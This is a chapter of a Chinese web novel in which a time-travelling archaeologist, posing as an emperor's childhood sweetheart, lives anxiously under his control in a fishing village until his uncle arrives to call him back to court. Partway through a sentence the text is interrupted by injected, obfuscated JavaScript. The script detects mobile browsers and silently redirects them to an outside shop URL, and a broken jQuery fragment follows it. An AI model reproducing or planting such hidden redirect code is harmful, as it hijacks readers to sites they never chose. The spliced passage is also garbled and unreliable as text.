院落不算大,房檐下挂着一串银铃,秋风渐起,清脆的响声不绝于耳,灯笼里的烛火轻轻摇曳,昏黄柔光透过纱纸溢出,把人的影子缩短又拉长。
沈轻徊住在主卧,温徇风住了侧卧,虽说温徇风很喜欢沈轻徊,但男未婚女未嫁,女子的清白尤为重要,没有等沈轻徊开口,温徇风便自觉地搬了被褥到隔壁。
床铺紧挨着,仅有一墙之隔。
墙是木制的,身旁的动静就像是在身边一样真实。
当初这样设计是温徇风的意思,他怕半夜的时候,沈轻徊会遇到什么事。
在她幼时的时候,因为婢女侍候不周,半夜咳血,昏倒翻滚到了床下都无人察觉。
老将军上了战场,将军夫人一早便过世了,家里只有一个兄长,却因为有事在衙门耽搁了,温徇风身为外男,自然无法随时陪在她身边,最后沈知易回府的时候,才发现妹妹早就不省人事了。
自那之后,温徇风就长了一个心眼,一定要随时都尽可能地知道她的状态。
沈轻徊坐在铜镜前,黄蜡蜡的铜镜很是不适,但也依稀可见女子的清秀面容。
她抽下簪子,墨发如瀑般垂落,几缕碎发慵懒随和,软软垂在脸旁。
今日出门未戴任何首饰,没一会儿便没了动静,她在铜镜前静静坐着,细细打量。
杏眼干净柔和,眉眼细长,眼尾下垂,纤细的睫毛又长又卷,肌肤莹白。
是个美人模样。
原来她在古代会长的这么好看吗?
沈轻徊轻叹一声,双手托腮坐在铜镜前,顺着尚未完全落下的窗户看向窗外明月。
心中苦恼,她到底该怎样才能回去呢?
一直停滞在这里也不是一个办法,温徇风早晚会发现她假冒他小青梅的事。
心中疑惑重重,她无心睡觉。
蓦地,隔着木板墙传来一阵轻轻的翻身声响,而后就是很轻的一击,温徇风应当是已经睡着了,手无意地打到了木板,而后便发出簌簌的声响。
沈轻徊分辨不出那是什么声音,抬脚起身轻声走到床边。
而后在床边坐下,想要听听隔壁的动静,四周寂静下来,按理来说簌簌声响应当格外明显,可那里突然没了声响。
凉风顺着窗柩漏进来,烛火摇摆不定,木板上透出一道身形清瘦的倩影,沈轻徊回了神,只当是人发癔症了。
未做他想,沈轻徊熄灭了烛火,关紧窗户,摸黑走到床边,放下床帘,脱衣休息。
今晚的月头很足,洒下的余晖透过纱窗,斑驳又清明,暗黑中的杏眼被映得清灵灵的。
沈轻徊双手交叉放在小腹上,心中暗自发愁。
她该怎么回去?
温徇风的小青梅的身份来历又是什么?
京中灾病该如何解决?
崇圣帝和永和帝到底和历史有了多少参差?
她穿越前的原身是谁?
温徇风的双重人格究竟有什么秘密?
疑惑缠绕心头,沈轻徊越来越焦躁,轻轻翻身,生怕吵醒了隔壁。
黑夜对于失眠者总是漫长的,等到她睡着的时候,天都已经蒙蒙亮了。
温徇风总是很有想法,前一阵子还对沈轻徊商量说要在院子里搭建一个篱笆凉棚,沈轻徊倒是觉得没必要,已经入秋了,多少有点浪费。
但温徇风大手一挥:“没事,等到搭建好的时候,正好赶到了明年的夏季,刚刚好。”
沈轻徊也就随他去了。
这两天又对沈轻徊说,想养一些小动物,鸡鸭鹅都可以,但还是比较看中鸡,鸡会孵蛋,想吃鸡肉的时候也比较方便。
沈轻徊点了点头。
这会儿温徇风又冒出来一个想法,说要在竹门门口种一棵桃树,专门驱邪用的。
沈轻徊有点想笑,她考古了这么多年,也没有见到过什么灵异事件,一国君王,居然会信这个。
这么想着,也就问了出来,温徇风笑着说:“当然了,这里地处偏僻,离海较近,万一呢?”
沈轻徊一笑了之。
随他去吧。
每日几乎都是温徇风忙忙碌碌,沈轻徊无事可做,有时候会寻找一些由头外出去查找线索。
外界的消息知之甚少,温徇风在身边,压根就放不开手脚调查。
之前她傍晚回来得晚了一些,回到家里灯火通明,篱笆上都挂了一串串的小灯孔,远远看去,就像是一个会发光的村落。
推门进去,院落里却空无一人,心里正纳闷之际,被人从身后抱了个满怀。
身后的人心跳得特别快,耳边急促的呼吸声尽数打在耳侧,她听到那人问:“你去哪里了?我找你好久都找不到。”
自那之后,沈轻徊才知道温徇风对他小青梅的控制欲有多强。
半个时辰内看不到她就会心乱如麻,恨不得让人时时刻刻待在他的身边。
在这个小渔村已经月余了,沈轻徊觉得就像是被温徇风禁锢在了他的掌控之下。
有时候温徇风心绪紧张激动,沈轻徊就害怕会因此激发出他的主人格,只好轻轻安抚。
对温徇风来说,这里是他和他的小青梅的世外桃源,对沈轻徊来说,这里和牢笼没什么两样。
有时候沈轻徊也会明里暗里去告诉温徇风外界的状况,希望他可以赶紧回朝堂,处理百姓间的灾疾。
但温徇风浑不在意:“有国舅在,他会处理的。”
沈轻徊也提议过想要回家看看,都被温徇风三言两语搪塞了过去。
最后只能做罢。
沈轻徊觉得自己的头顶上一直都悬着一把刀,有温徇风这个定时炸弹,不一定什么时候就面目全非了。
每日提心吊胆的活着,自从知道温徇风情绪不稳之后,更是胆战心惊。
她想逃离。
却又怕逃离的后果她承担不住。
事到如今,她也没有想到一个可靠的法子。
某日清晨。
晨曦透过层层密云,径直洒向地面,本该是一个云淡风轻,惠风和畅的日子,却来了一位不速之客。
彼时的沈轻徊正在屋里面修建刚刚摘下来的花束,听到扣门声正准备起身,却被一旁挑豆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864424|212148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子温徇风一把摁住了肩膀:“你歇着吧,我去开门。”
沈轻徊也真就没有起身,自顾自手里的花束。
温徇风跨过门槛,看着从竹门缝隙里面透过来的黑色高大身影,几乎立马就猜到了那人是谁。
心中暗叹一口气,即使再不情愿,还是在打开竹门的一瞬间笑脸相迎。
“皇叔怎么来了?”
来人已有天命之年,单枪匹马,并未带任何侍卫,黑色丝绸常服,腰间一条乌皮革带,配上一枚简单的素色玉扣,面色冷肃,一脸花白的胡子,落了发冠,更显几分威严。
此人便是近日一直在执掌朝堂的国舅,温序尧。
看这冷峻不想开口的样子,应当是被朝堂的烦心事惹得不行。
但依旧照样记得礼仪,对温徇风躬身行了一礼:“臣拜见陛下。”
温徇风笑着把人扶起:“皇叔何必?”
温序尧直起身子,客套话没说,开门见山:“陛下何时可以回宫去?近日来朝堂人心不稳,京城灾病横行,朝臣众说纷纭,各地官员接连上报,陛下,国不可一日无君,闹够了便该回去了。”
温序尧还是把温徇风当成了之前那个遇事拿不定主意的小孩子,如今所做的一切不过是任性,小孩子脾气,哄哄劝劝,总会好的。
温徇风只是笑笑,双手背到身后:“皇叔何必着急,朕不过在这里住了几日,便是让皇叔亲自来寻,实是小题大做了。”
“再者,这江山不是还有皇叔吗?若是朝堂上那些劳什子大臣听不懂人话,朕也可以把传国玉玺献给皇叔,生杀予夺全由皇叔做主,如何?”
温序尧一直都知道温徇风的性子,时而软弱,时而狠毒,正是他利用了这种极端的性格才可以推翻崇圣帝,辅佐温徇风登基。
但是遇到这个温徇风,总觉得他不争气,满脑子都是情情爱爱,实在是浪费了他另一个人格的我聪明才智。
当日他从宿将军嘴里得知陛下突然心悦上一女子,当即决定要和她一起归隐山林,差点没背过气去。
怎么出去打个猎,最后连一国江山都不要了。
如今躲在这荒野乡村和一女子整日逍遥度日,传出去记载到史书上,也不知道要被后代谴责嘲弄多久。
温徇风一向会听他的,但一遇到情事,便就像个傻子一样,不长脑子了。
更有甚者,为了那些虚无缥缈的爱情,有时候嘴巴就跟浸了毒一样,见到不顺眼的人就杀。
温序尧略带愠怒,恨其不争:“明知不可能,陛下为何还要下此假设?”
温徇风满不在意,完全没当回事的样子:“那你既然知道朕不会回去,为何还要来寻朕?这不是纯属找不痛快?”
温序尧噎住了。
深吸一口气给自己吊命:“陛下若是真的喜欢,不如将这一女子娶为皇后,也好过在这里名不正言不顺。”
温徇风就这么和温序尧在大门口站着谈天,并没有邀请国舅到里面坐坐,如此态度就已经坦白了今日温徇风的所有态度。
这事没得商量。
包括皇后一事。